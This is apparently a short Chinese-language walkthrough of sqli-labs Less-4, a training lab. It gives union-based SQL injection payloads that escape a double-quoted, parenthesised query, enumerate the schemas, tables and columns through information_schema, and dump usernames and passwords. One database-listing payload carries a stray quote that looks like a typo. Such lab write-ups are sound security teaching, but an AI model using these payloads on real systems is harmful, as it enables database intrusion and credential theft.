sqli - labs - 4

GET - Error based - Double Quotes - String

输入?id=1,?id=1'都显示正常

输入?id=1",发现报错

猜想语句：select * from xxx where id=("$id")

所以payload 是：?id=1")--+

查看字段数：?id=-1") union select 1,2,3--+

发现字段数是3个

查看数据库名和用户名：?id=-1")' union select 1,group_concat(schema_name) ,3 from information_schema.schemata --+

 

查看表名：?id=-1") union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security' --+

 

查看字段名：?id=-1") union select 1,group_concat(column_name) ,3 from information_schema.columns where   table_name='users' and table_schema='security'  --+

 

查看用户名和密码：?id=-1") union select 1,group_concat(concat_ws(':',username,password)) ,3 from users --+

 

完成.